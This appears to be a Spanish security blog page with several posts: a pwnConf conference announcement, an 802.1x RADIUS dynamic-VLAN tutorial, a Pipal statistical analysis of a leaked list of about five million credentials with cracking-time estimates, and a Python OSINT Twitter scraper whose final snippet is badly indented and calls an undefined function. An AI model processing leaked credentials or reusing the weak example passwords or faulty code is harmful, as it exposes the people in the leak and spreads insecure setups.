pwnConf: 1er evento de SysAdmin/Devops, Networking y Seguridad Informática en Mar del Plata, Argentina

Hoy os presentamos pwnConf, una conferencia de carácter 100% técnico que se realiza el día 23 de Noviembre en la ciudad de Mar del Plata y que reunirá investigaciones de profesionales de distintas partes del país.

Entre las principales temáticas que que se tratarán en el evento se encuentra la Seguridad Informática, contando también con gran cantidad de charlas orientadas con perfil de SysAdmin/DevOps y Networking. Todas las charlas incluyen un altísimo nivel de vanguardia tecnológica, que se puede vislumbrar fácilmente en charlas con temáticas tan variadas y actuales como Big Data, Privacidad en Internet, NoSQL, Cloud Computing, Clustering y Desarrollo de Librerías.

Además de su carácter de conferencia tradicional —con ponentes con charlas de 40 minutos de duración— el evento también tendrá un acentuado perfil de desconferencia, en donde los asistentes podrán anotarse libremente para dar lightning talks de 10 minutos de duración con absoluta libertad sobre las temáticas a tratar.

En el sitio oficial de pwnConf podéis encontrar el cronograma completo de charlas, así como también la lista de ponentes y el correspondiente enlace al registro, que si bien es 100% libre y gratuito, está limitado a la capacidad física del lugar.

El fin último de pwnConf es brindar un entorno en donde intercambiar conocimientos, compartiendo experiencias con amigos y colegas en un ambiente descontracturado e ideal para el aprendizaje.

La conferencia está orientada principalmente a estudiantes de carreras afines a la informática, profesionales, empresas, entusiastas e investigadores. Podéis tener toda la información disponible en pwnconf.org

Evolucionando nuestro VPMS

En este mismo blog, hace ya casi dos años, vimos el uso de un servidor VPMS (VLAN Management Policy Server) como punto de partida para poder asignar de forma dinámica los equipos de nuestra red a las distintas vLANs corporativas. Esta asignación estaba basada en la dirección MAC de los clientes, algo que habitualmente es complicado de mantener.

Tiempo mas tarde, hablamos de AAA (authentication, authorization and accounting ) en dos entradas (ver la primera y la segunda), donde vimos a modo de ejemplo, la autenticación de la conexión a red de los usuarios mediante 802.1x, usando para ello un servidor Radius.

Teniendo esto en mente como punto de partida, usaremos ambas aproximaciones para mejorar el control de acceso basado en MAC, mediante un control de acceso basado en usuario con asignación dinámica de vLAN.

Para ello, dispondremos de los siguientes elementos:

  • Switch de acceso a la red (Cisco 2960) como Authenticator (172.18.0.200).
  • Servidor Radius (Freeradius) como Authentication Server (172.17.2.23).
  • Equipo de usuario (Microsoft Windows) como Supplicant.

La configuración inicial es similar a la vista en las entradas comentadas anteriormente; únicamente cambia la configuración de un router a un switch, no obstante, la repasamos rápidamente:

Configuramos nuestro switch como cliente Radius

client 172.18.0.200
{
secret = password
shortname = switch
nasstype = cisco
}

Configuramos un usuario en el servidor Radius:

juanito Cleartext-Password := "password" 
        Service-Type = NAS-Prompt-User, 

Configuramos el grupo de autenticación Radius en nuestro switch:

Switch(config)# aaa new-model
Switch(config)# aaa authentication dot1x default group radius
Switch(config)# aaa authorization network default group radius
Switch(config)# radius-server host 172.17.2.23 auth-port 1812 acct-port  1813
Switch(config)# radius-server deadtime 15
Switch(config)# radius-server key password

Probamos el acceso desde el propio dispositivo:

Switch(config)# test aaa group radius juanito password  legacy   
Attempting authentication test to server-group radius using radius
User was successfully authenticated.

Lógicamente, en nuestro servidor Radius vemos la petición de autenticación:

Sending Access-Accept of id 3 to 172.18.0.200 port 1645
	Service-Type = NAS-Prompt-User
Finished request 0.
Going to the next request
Waking up in 4.9 seconds.
Cleaning up request 0 ID 3 with timestamp +54
Ready to process requests.

A continuación, activamos 802.1x en el switch y lo configuramos en las distintas interfaces que deben autenticar las conexiones:

Switch(config)# dot1x system-auth-control 
Switch(config)# interface fastethernet0/1
Switch(config-if)# switchport mode access
Switch(config-if)# dot1x port-control auto 

En primera instancia, tras configurar el cliente Microsoft Windows para que use 802.1x, sin proporcionarle credenciales validas (intenta conectar como usuario admin), el puerto se encuentra en estado unauthorized.

rad_recv: Access-Request packet from host 172.18.0.200 port 1645, id=7, length=252
	User-Name = "admin"
	Service-Type = Framed-User
	Framed-MTU = 1500
	Called-Station-Id = "00-24-F7-31-65-01"
	Calling-Station-Id = "00-23-8B-D7-C2-B3"
	EAP-Message = 0x0204005719800000004d160301004801000044030154645b90ee44b4c850d326f
c8490c49f27f059d0f4678e7af4de61f3ee59458600001600040005000a000900640062000300060013001200
6301000005ff01000100
	Message-Authenticator = 0xeff1ecf7d1d39606489db0221e8c5329
	NAS-Port-Type = Ethernet
	NAS-Port = 50001
	NAS-Port-Id = "FastEthernet0/1"
	State = 0x192fe485182bfd62a347eaa218ef304c
	NAS-IP-Address = 172.18.0.200

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0

Dot1x Authenticator Client List Empty

Port Status               = UNAUTHORIZED

Tras proporcionar credenciales validas (usuario juanito), el puerto queda autorizado para la conexión:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0023.8bd7.c2b3
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
          
Port Status               = AUTHORIZED
Authentication Method     = Dot1x
Authorized By             = Authentication Server
Vlan Policy               = N/A

Como podemos ver, no se ha asignado ninguna vLAN a la conexión autenticada, dejando esta asignación directamente al switch.

Hasta aquí, todo ha funcionado de forma similar a lo visto en el post sobre AAA. Ahora estamos en el punto de partida para poder asignar las distintas vLANs a los usuarios.

Como ya vimos, lo primero es dar de alta las interfaces en el switch. En este caso, creamos una vLAN adicional (24) cuyo uso veremos más tarde:

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
21   GESTION                          active
22   USUARIOS                         active
23   INVITADOS                        active
24   RESTRICTED                       active

Lo primero que haríamos podría ser asignar a todos los clientes que no han sido autenticados, en la vLAN de invitados. En esta vLAN se podría permitir sólo cierto tipo de tráfico en nuestra red.

Para ello, definimos la vLAN guest en la interfaz configurada:

Switch(config)# interface fas 0/1
Switch(config-if)# dot1x guest-vlan 23

De esta forma, cuando el cliente conecta, la conexión inicia el proceso de autenticación (authenticating), indicando que ya dispone de una Guest-Vlan configurada:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Guest-Vlan                = 23  

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0023.8bd7.c2b3
    Auth SM State         = AUTHENTICATING
    Auth BEND SM State    = REQUEST
Port Status               = UNAUTHORIZED
Authentication Method     = Dot1x

Tras vencer el timeout (la autenticación no ha sido denegada), podemos ver como el puerto queda asignado a la vLAN de invitados:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Guest-Vlan                = 23

Dot1x Authenticator Client List Empty

Domain                    = DATA
Port Status               = AUTHORIZED
Authorized By             = Guest-Vlan
Operational HostMode      = MULTI_HOST
Vlan Policy               = 23

El siguiente punto podría ser diferenciar la autenticación por timeout de una autenticación expresamente denegada. En versiones más actuales de IOS, es posible diferenciar esto mediante el uso de dos vLANs, para ello, usaremos nuestra vLAN 24, y de igual manera, configuramos el puerto.

Switch(config)# interface fas 0/1
Switch(config-if)# dot1x auth-fail max-attempts 1 
Switch(config-if)# dot1x auth-fail vlan 24

Tras fallar expresamente la autenticación, el puerto queda asignado a dicha vLAN, sin acceso a la red:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Auth-Fail-Vlan            = 24
Auth-Fail-Max-attempts    = 1
Guest-Vlan                = 23

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0024.beec.2526
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
Port Status               = AUTHORIZED
Authentication Method     = Dot1x
Authorized By             = Auth-Fail-Vlan
Vlan Policy               = 24

Y podemos ver la asignación directamente en el switch:

Switch# show  vlan id 24

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
24   RESTRICTED                       active    Fa0/1

Finalmente, llegamos al objetivo deseado, poder asignar a nuestro usuario juanito a la vLAN de GESTION (21) como gestor de red que es. Para ello, debemos definir esta asignación en el fichero de usuarios de Radius:

juanito Cleartext-Password := "password"
     	Service-Type = NAS-Prompt-User,
        Tunnel-type=VLAN,
        Tunnel-Medium-Type=IEEE-802,
        Tunnel-Private-Group-Id="21",

Tras volver a autenticarnos en el sistema, veremos en el log del servidor el envío de los nuevos parámetros definidos para la asignación de vLAN:

Sending Access-Accept of id 22 to 172.18.0.200 port 1645
	Service-Type = NAS-Prompt-User
	Tunnel-Type:0 = VLAN
	Tunnel-Medium-Type:0 = IEEE-802
	Tunnel-Private-Group-Id:0 = "21"
	User-Name = "juanito"

Quedando la interfaz donde se ha conectado el cliente, asignada finalmente a la vLAN de gestión:

Dot1x Info for FastEthernet0/1
-----------------------------------
PAE                       = AUTHENTICATOR
PortControl               = AUTO
ControlDirection          = Both 
HostMode                  = SINGLE_HOST
Violation Mode            = PROTECT
ReAuthentication          = Disabled
QuietPeriod               = 60
ServerTimeout             = 30
SuppTimeout               = 30
ReAuthPeriod              = 3600 (Locally configured)
ReAuthMax                 = 2
MaxReq                    = 2
TxPeriod                  = 30
RateLimitPeriod           = 0
Critical-Auth             = Enabled
Auth-Fail-Vlan            = 24
Auth-Fail-Max-attempts    = 1
Guest-Vlan                = 23

Dot1x Authenticator Client List
-------------------------------
Domain                    = DATA
Supplicant                = 0024.beec.2526
    Auth SM State         = AUTHENTICATED
    Auth BEND SM State    = IDLE
Port Status               = AUTHORIZED
          
Authentication Method     = Dot1x
Authorized By             = Authentication Server
Vlan Policy               = 21


Switch# show  vlan id 21

VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
21   GESTION                          active    Fa0/1

Con esta asignación, podríamos mejorar la seguridad de nuestra red interna un poco más que con la solución VPMS vista, ya que el control de acceso se realizaría en base al usuario y no al dispositivo.

Lógicamente, podemos disponer de ambas soluciones, dependiendo de las necesidades de acceso a nuestra red. Por ejemplo, dejando la parte de autenticación de usuarios a los controladores de dominio existentes y unificando criterios de seguridad a nivel de contraseñas. Otro caso podría ser una visita que requiere acceso a internet (vía red cableada) pero no dispone de usuario en el dominio; en este caso, la vLAN de invitados podría redirigir el tráfico a un portal cautivo sobre el cual dispondría de unas credenciales temporales de uso durante su estancia en las oficinas.

Aunque hemos visto una breve aproximación de un control de acceso a red, existen multitud de soluciones NAC en el mercado, tanto libres como comerciales, para controlar este tipo de accesos, no sólo proporcionando acceso a la red en caso de disponer de usuario válido, sino también, para comprobar el sistema cliente y verificar que dispone de antivirus actualizado, parches de seguridad instalados, etc.

Esperamos que os haya resultado interesante. Si tenéis alguna duda o comentario sobre su aplicación, implementación o funcionamiento, podéis indicarlo en los comentarios.

Analizando un leak de contraseñas con Pipal

Hace unas semanas se publicó un ‘leak’, otro más, con multitud de contraseñas aparentemente asociadas a un servicio web conocido. Ya nos estamos acostumbrando a este tipo de noticias, y esta vez se ha apuntado con el dedo a la todopoderosa Google como fuente de esta publicación, con nada menos que alrededor de 5 millones de usuarios comprometidos.

Desde Google indican que no se trata de un ataque dirigido ni un compromiso de ninguno de los servidores de la empresa, sino que apuntan a que se puede tratar de una recopilación elaborada con mucha paciencia, y que menos de un 2% de las combinaciones de usuario y contraseña podrían haber funcionado. A pesar de ello nunca está de más echar un pequeño vistazo a las credenciales publicadas y, además de comprobar si nosotros o amigos y familiares están comprometidos, poder realizar un pequeño análisis y comprobar el estado de la concienciación en materia de seguridad de las contraseñas.

Para la primera tarea nos ponemos a buscar por el documento de texto y nos quedamos tranquilos tras comprobar que ni nosotros ni ningún conocido aparecen en esta publicación. Si no has podido obtener este ‘leak’ puedes acceder al proyecto Have I been pwned? del investigador de seguridad Troy Hunt, que recopila cuentas de correo comprometidas en este y otros ‘leaks’ importantes, y comprobar tus cuentas de correo.

Para la segunda tarea, vamos a emplear una utilidad que realiza el análisis de forma automática. La utilidad se llama Pipal y ha sido creada por Robin Wood (@digininja) precisamente para esta tarea: analizar los listados de contraseñas obtenidos, en su caso tras realizar las auditorías de seguridad que Robin lleva a cabo durante su trabajo habitual. Como el propio Robin indica “Antes de continuar debo resaltar que lo único que hace esta aplicación es proporcionar las estadísticas e información necesaria para ayudarte a analizar las contraseñas. El verdadero trabajo lo debes realizar tú interpretando los resultados. Yo te doy los números, tú cuentas la historia”.

Veamos como funciona la aplicación y los resultados que nos puede mostrar. Pipal se puede descargar desde github, y es una aplicación en Ruby autocontenida que podemos ejecutar en cualquier instalación estándar de Ruby, sin ningún otro requisito adicional.

$ ./pipal/pipal.rb -?
pipal 3.1 Robin Wood (robin@digi.ninja) (http://digi.ninja)

Usage: pipal [OPTION] ... FILENAME
     --help, -h, -?: show help
     --top, -t X: show the top X results (default 10)
     --output, -o : output to file
     --gkey : to allow zip code lookups (optional)
     --list-checkers: Show the available checkers and which are enabled
     --verbose, -v: Verbose

     FILENAME: The file to count

El listado contiene direcciones de correo electrónico. Necesitamos convertir el fichero a UTF8 para que pueda ser procesado correctamente, así que ejecutamos las siguientes órdenes para dejarlo preparado:

cat google_5000000_passwords.txt | awk -F":" '{print $2}' > pass.txt

iconv -f 437 -t utf8 pass.txt > pass-utf8.txt

Tras esto, pasamos ya a ejecutar la aplicación con el fichero de contraseñas obtenido:

./pipal/pipal.rb pass-utf8.txt -o salida.txt -v

Empezamos a ver en la consola como la aplicación se pone a realizar su trabajo. Tras unos minutos (u horas, según el equipo utilizado), obtenemos los resultados, que pasamos a analizar.

En primer lugar obtenemos los resultados generales, donde podemos ver las contraseñas más utilizadas, y aquellas “base words” (palabras que forman parte de la contraseña) que aparecen con mayor frecuencia:

Basic Results

Total entries = 4926343
Total unique entries = 3120179

Top 10 passwords
123456 = 48003 (0.97%)
password = 11593 (0.24%)
123456789 = 11162 (0.23%)
12345 = 8119 (0.16%)
qwerty = 5925 (0.12%)
12345678 = 5253 (0.11%)
111111 = 3524 (0.07%)
abc123 = 3016 (0.06%)
123123 = 2990 (0.06%)
1234567 = 2915 (0.06%)

Top 10 base words
password = 17596 (0.36%)
qwerty = 11061 (0.22%)
love = 3424 (0.07%)
monkey = 3213 (0.07%)
dragon = 3043 (0.06%)
hello = 2804 (0.06%)
iloveyou = 2778 (0.06%)
abcd = 2264 (0.05%)
welcome = 2241 (0.05%)
july = 2225 (0.05%)

Aquí podemos ver cómo, a pesar de los múltiples esfuerzos de la comunidad en este aspecto, las contraseñas más utilizadas siguen siendo o siguen teniendo palabras o secuencias de caracteres que consideramos inseguras.

Los conjuntos de dígitos o las sucesiones de caracteres tal y como se encuentran en el teclado, así como palabras comunes, entre las que destaca la propia palabra “password” (contraseña en inglés) copan los primeros lugares.

A continuación aparecen dos listas donde se muestra la longitud de las contraseñas, ordenadas por número de caracteres y por frecuencia de aparición, respectivamente, junto con un pequeño gráfico en ASCII que muestra la distribución de las mismas:

Password length			Password length
(length ordered)		(count ordered)
1 = 853 (0.02%)			8 = 1424125 (28.91%)
2 = 1565 (0.03%)		6 = 926282 (18.8%)
3 = 12721 (0.26%)		10 = 682219 (13.85%)
4 = 45572 (0.93%)		9 = 681330 (13.83%)
5 = 143317 (2.91%)		7 = 663424 (13.47%)
6 = 926282 (18.8%)		11 = 151685 (3.08%)
7 = 663424 (13.47%)		5 = 143317 (2.91%)
8 = 1424125 (28.91%)	        12 = 93010 (1.89%)
9 = 681330 (13.83%)		4 = 45572 (0.93%)
10 = 682219 (13.85%)	        13 = 42293 (0.86%)
11 = 151685 (3.08%)		14 = 24787 (0.5%)
12 = 93010 (1.89%)		15 = 14812 (0.3%)
13 = 42293 (0.86%)		3 = 12721 (0.26%)
14 = 24787 (0.5%)		16 = 7277 (0.15%)
15 = 14812 (0.3%)		17 = 2548 (0.05%)
16 = 7277 (0.15%)		32 = 2512 (0.05%)
17 = 2548 (0.05%)		18 = 1780 (0.04%)
18 = 1780 (0.04%)		2 = 1565 (0.03%)
19 = 1079 (0.02%)		20 = 1169 (0.02%)
20 = 1169 (0.02%)		19 = 1079 (0.02%)
21 = 451 (0.01%)		1 = 853 (0.02%)
22 = 387 (0.01%)		21 = 451 (0.01%)
23 = 288 (0.01%)		22 = 387 (0.01%)
24 = 257 (0.01%)		23 = 288 (0.01%)
25 = 172 (0.0%)			24 = 257 (0.01%)
26 = 118 (0.0%)			25 = 172 (0.0%)
27 = 71 (0.0%)			26 = 118 (0.0%)
28 = 51 (0.0%)			27 = 71 (0.0%)
29 = 31 (0.0%)			28 = 51 (0.0%)
30 = 41 (0.0%)			30 = 41 (0.0%)
31 = 12 (0.0%)			40 = 33 (0.0%)
32 = 2512 (0.05%)		29 = 31 (0.0%)
33 = 6 (0.0%)			31 = 12 (0.0%)
34 = 7 (0.0%)			35 = 11 (0.0%)
35 = 11 (0.0%)			34 = 7 (0.0%)
36 = 4 (0.0%)			33 = 6 (0.0%)
37 = 6 (0.0%)			37 = 6 (0.0%)
38 = 3 (0.0%)			50 = 5 (0.0%)
39 = 1 (0.0%)			36 = 4 (0.0%)
40 = 33 (0.0%)			53 = 4 (0.0%)
41 = 3 (0.0%)			122 = 3 (0.0%)
42 = 2 (0.0%)			41 = 3 (0.0%)
44 = 2 (0.0%)			45 = 3 (0.0%)
45 = 3 (0.0%)			38 = 3 (0.0%)
50 = 5 (0.0%)			44 = 2 (0.0%)
53 = 4 (0.0%)			42 = 2 (0.0%)
54 = 2 (0.0%)			56 = 2 (0.0%)
56 = 2 (0.0%)			64 = 2 (0.0%)
64 = 2 (0.0%)			54 = 2 (0.0%)
65 = 1 (0.0%)			65 = 1 (0.0%)
67 = 1 (0.0%)			67 = 1 (0.0%)
85 = 1 (0.0%)			85 = 1 (0.0%)
91 = 1 (0.0%)			91 = 1 (0.0%)
122 = 3 (0.0%)			39 = 1 (0.0%)
136 = 1 (0.0%)			136 = 1 (0.0%)
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
    ||                                                                  
   ||||                                                                 
   ||||                                                                 
   ||||                                                                 
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
000000000011111111112222222222333333333344444444445555555555666666666677
012345678901234567890123456789012345678901234567890123456789012345678901

Podemos ver como las contraseñas de 8 caracteres son las que más aparecen, y el rango entre 6 y 10 caracteres es en el que se encuentran la mayoría de las contraseñas.

Teniendo en cuenta un equipo potente que utilice la herramienta oclhashcat (del que ya hemos hablado anteriormente en este blog), que las contraseñas únicamente contienen minúsculas y caracteres alfanuméricos, y suponiendo que se obtienen las contraseñas en MD5 (lo que es bastante común), se podría recorrer todo el espacio de contraseñas de 10 caracteres en algo menos de un día, así que, aunque a priori 10 caracteres pueda parecer muy seguro, vemos que no es así.

También cabe destacar la aparición de más de 2500 contraseñas de longitud 32, cuando únicamente aparecen pocas decenas de casos de contraseñas con longitudes vecinas. Revisando las contraseñas vemos que parecen ser hashes MD5, lo que puede significar 2 cosas: o bien no han sido descifradas o bien alguien ha introducido la suma MD5 de algún fichero como contraseña (veo que no soy el único que lo ha hecho alguna vez).

A continuación, aparecen varias estadísticas interesantes relacionadas con la longitud de la contraseña y el conjunto de caracteres utilizado:

One to six characters = 1130310 (22.94%)
One to eight characters = 3217859 (65.32'%)
More than eight characters = 1708484 (34.68%)

Only lowercase alpha = 1972788 (40.05%)
Only uppercase alpha = 0 (0.0%)
Only alpha = 1972788 (40.05%)
Only numeric = 775445 (15.74%)

First capital last symbol = 0 (0.0%)
First capital last number = 0 (0.0%)

Vemos que más del 65% de las contraseñas son de 8 o menos caracteres, alrededor del 40% están formadas únicamente por letras en minúscula, y más de un 15% sólo contienen dígitos. Todas estas prácticas rebajan la seguridad de las contraseñas y deberíamos tratar de evitarlas.

También vemos que no aparecen contraseñas que contengan únicamente mayúsculas o que empiecen con mayúsculas, lo que nos puede hacer sospechar de que realmente no existe ninguna contraseña que utilice mayúsculas, como veremos más adelante.

Acto seguido se muestran estadísticas de las contraseñas con números en su parte final.

Single digit on the end = 396589 (8.05%)
Two digits on the end = 561345 (11.39%)
Three digits on the end = 307392 (6.24%)

Last number
0 = 225978 (4.59%)
1 = 446157 (9.06%)
2 = 249229 (5.06%)
3 = 322395 (6.54%)
4 = 199645 (4.05%)
5 = 198905 (4.04%)
6 = 236076 (4.79%)
7 = 204986 (4.16%)
8 = 190806 (3.87%)
9 = 215301 (4.37%)

 |                                                                      
 |                                                                      
 |                                                                      
 |                                                                      
 | |                                                                    
 | |                                                                    
 | |                                                                    
||||  |                                                                 
|||||||| |                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
0123456789

Last digit
1 = 446157 (9.06%)
3 = 322395 (6.54%)
2 = 249229 (5.06%)
6 = 236076 (4.79%)
0 = 225978 (4.59%)
9 = 215301 (4.37%)
7 = 204986 (4.16%)
4 = 199645 (4.05%)
5 = 198905 (4.04%)
8 = 190806 (3.87%)

Last 2 digits (Top 10)
23 = 139781 (2.84%)
56 = 71742 (1.46%)
12 = 61841 (1.26%)
11 = 59786 (1.21%)
00 = 50068 (1.02%)
01 = 49657 (1.01%)
10 = 41260 (0.84%)
21 = 40985 (0.83%)
34 = 37776 (0.77%)
89 = 37686 (0.76%)

Last 3 digits (Top 10)
123 = 113837 (2.31%)
456 = 60162 (1.22%)
234 = 27651 (0.56%)
345 = 18836 (0.38%)
789 = 16930 (0.34%)
000 = 16916 (0.34%)
007 = 14584 (0.3%)
321 = 13666 (0.28%)
111 = 13478 (0.27%)
010 = 11371 (0.23%)

Last 4 digits (Top 10)
3456 = 55734 (1.13%)
1234 = 25782 (0.52%)
2345 = 17379 (0.35%)
6789 = 13343 (0.27%)
2010 = 8404 (0.17%)
1111 = 7681 (0.16%)
2009 = 7672 (0.16%)
2008 = 6442 (0.13%)
5678 = 6438 (0.13%)
1987 = 6207 (0.13%)

Last 5 digits (Top 10)
23456 = 55364 (1.12%)
12345 = 17006 (0.35%)
56789 = 12977 (0.26%)
45678 = 6056 (0.12%)
11111 = 5821 (0.12%)
54321 = 4407 (0.09%)
34567 = 4166 (0.08%)
23123 = 4064 (0.08%)
00000 = 3499 (0.07%)
67890 = 3089 (0.06%)

Muchos usuarios simplemente añaden algunos dígitos a “su contraseña” si se les obliga a utilizar números. Aquí vemos como muchos usuarios añaden un sólo dígito (siendo el más común el 1), o 2 o más dígitos, ya sea repetidos o formando series. Mención especial al apartado de 4 dígitos, donde podemos ver como aparecen varios números que podríamos identificar con años (2010, 2009, 2008, 1987).

Finalmente, aparecen estadísticas sobre el conjunto de caracteres utilizado y cómo se ordenan los caracteres dentro de la contraseña:

Character sets
loweralphanum: 2096099 (42.55%)
loweralpha: 1972788 (40.05%)
numeric: 775444 (15.74%)
loweralphaspecialnum: 39336 (0.8%)
loweralphaspecial: 25376 (0.52%)
specialnum: 4200 (0.09%)
special: 582 (0.01%)

Character set ordering
allstring: 1972788 (40.05%)
stringdigit: 1544506 (31.35%)
alldigit: 775444 (15.74%)
othermask: 233532 (4.74%)
stringdigitstring: 174893 (3.55%)
digitstring: 144649 (2.94%)
digitstringdigit: 42337 (0.86%)
stringspecialdigit: 15959 (0.32%)
stringspecialstring: 13657 (0.28%)
stringspecial: 4875 (0.1%)
specialstring: 2083 (0.04%)
specialstringspecial: 873 (0.02%)
allspecial: 582 (0.01%)

La tabla de conjuntos de caracteres nos muestra que no hay ninguna letra mayúscula en ninguna de las contraseñas que hemos obtenido, algo que ya habíamos intuido anteriormente. La tabla de ordenación, por su parte, nos muestra que más del 70% de las contraseñas están formadas únicamente por una cadena de texto o una cadena con un número detrás. Si añadimos a esto las contraseñas formadas únicamente por números, estamos hablando de alrededor del 87% de las contraseñas encontradas.

Por si este análisis no os parece suficiente, Pipal tiene dos funcionalidades de análisis más: los Splitters y los Checkers. Ambos son pequeños módulos que otorgan más funcionalidad a la aplicación.

En el caso de los Splitters, éstos dividen cada una de las líneas del fichero de entrada en campos, de forma que si tenemos por ejemplo nombre de usuario y contraseña, podemos indicarlo a la aplicación y puede ser de utilidad en fases posteriores de análisis.

Los Checkers en cambio realizan comprobaciones adicionales sobre el conjunto de contraseñas sirviendo, por ejemplo, para identificar campos de fecha (días, meses, años), como los grupos de 4 dígitos que forman años que hemos visto anteriormente. También hay otros para comprobar colores, estaciones del año, codigos postales, nombres de usuario, etcétera.

Se pueden listar los checkers disponibles con el modificador --list-checkers, y se habilitan al estilo módulos de apache2, creando un enlace simbólico desde la carpeta checkers-available a la carpeta checkers-enabled.

El único problema de los checkers es que la distribución oficial no tiene ninguno localizado en español. Para solucionar este problema David Lladró (@davidlladro), amigo y antiguo compañero, ha creado una versión de Pipal en la que sí aparecen varios checkers localizados en español.

Con esto concluye el análisis de esta herramienta y el último “leak” de contraseñas publicado. Espero que os haya gustado y vuestros comentarios sobre esta estupenda herramienta.

Python para el Pentest. OSINT: Twitter (3): Streaming, ríos de datos, y para merendar Tweets.

Repasemos lo visto hasta ahora. En la primera entrada de la serie vimos algunos conceptos básicos para comenzar a trabajar con Python desde el pentesting, que vamos a necesitar durante todo el camino. Tras la introducción, nuestro primer caso práctico ha sido la aplicación de Python para OSINT (“Open Source Intelligence”), en concreto Twitter. Hasta ahora hemos visto (1) los preliminares y (2) hemos desarrollado un pequeño PoC accediendo a la API RESTFull, que como vimos permitía una gran variedad de opciones pero no era lo mejor para obtener información en tiempo real.

Por eso, en esta entrada veremos la utilización de la API de streaming, un poco mas complejo que usar que REST, pero que con un sencillo ejemplo nos quedará claro como utilizar. Como en anteriores entradas, si les queda alguna duda, pueden dejárnosla en los comentarios y la atenderemos encantados.

Si volvemos a la función OAuth() recordaremos que nos devolvía una tupla, y esta la asignamos a dos variables, api y auth, para el siguiente ejemplo utilizaremos la segunda.

[Read more…]

Python para el Pentest. OSINT: Twitter (2): Manos a la obra, pájaros y APIs.

Si recuerdan, en la anterior entrada introdujimos los diferentes elementos que vamos a necesitar para desarrollar un pequeño PoC que nos permita explotar la información de Twitter. Una vez descritos los preliminares, ahora es cuando toca entrar en materia.

Lo primero que haremos será crear una aplicación nueva en Twitter, para ello podemos seguir cualquiera de los innumerables tutoriales que existen y hacernos con el consumer_token y el consumer_secret que serán algo así —estos son inventados, deberemos obtener los nuestros—:

consumer_token = K4a5Evw9bMnWhQDxb5tPBZPzjY
consumer_secret = j7CsoQtFiNArbITSYqYG5hw37NDF0lg1B7MBlBNRQ
RffVWWmug0

Estas claves las necesitaremos para hacer la danza OAuth y permitir a nuestra aplicación usar nuestra cuenta, ya que para acceder a ciertas funcionalidades de la API tendremos que estar logueados.

Ahora, antes de nada, prepararemos la cabecera de nuestro script con su Shebang, la codificación del documento y los imports que necesitaremos para el proyecto.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from time import sleep
from sys import exit
import tweepy
from json import loads

Después de haber definido la cabecera podremos empezar con el código. Para autorizar nuestra aplicación en nuestra cuenta lo haremos de la siguiente forma:

########## CONFIG ##########
consumer_token = 'K4a5Evw9bMnWhQDxb5tPBZPzjY'
consumer_secret = 'j7CsoQtFiNArbITSYqYG5hw37NDF0lg1B7MBlBNR
QRffVWWmug0'
access_token = ''
access_secret = ''
############################

def OAuth():
	''' Returns api object '''
	cToken = consumer_token
	cSecret = consumer_secret
	aToken = access_token
	aSecret = access_secret
	# Instanciamos el gestor de autorización
	auth = tweepy.OAuthHandler(cToken, cSecret)

	'''En el caso de que no tengamos los tokens de autorización de nuestra cuenta 
	solicitaremos la url que nos generará el pin.'''

		if aToken == '' or aSecret == '':
		try:
			redirect_url = auth.get_authorization_url()
			print('Ve a Twitter y autoriza la aplicación: {0}'.format(redirect_url))
		except tweepy.TweepError:
			print('Error al solicitar el token.')

		# Le pasamos el PIN a auth para que solicite los tokens
		verifier = raw_input('Verificador: ').strip()
		auth.get_access_token(verifier)

		'''Guardamos nuestros tokens y los imprimimos en pantalla para añadirlos a las 
		   variables de configuración. Así la próxima vez no tendremos que realizar 
                   este paso.'''

		aToken = auth.access_token.key
		aSecret = auth.access_token.secret
		log('Tu access_token: {0}'.format(aToken))
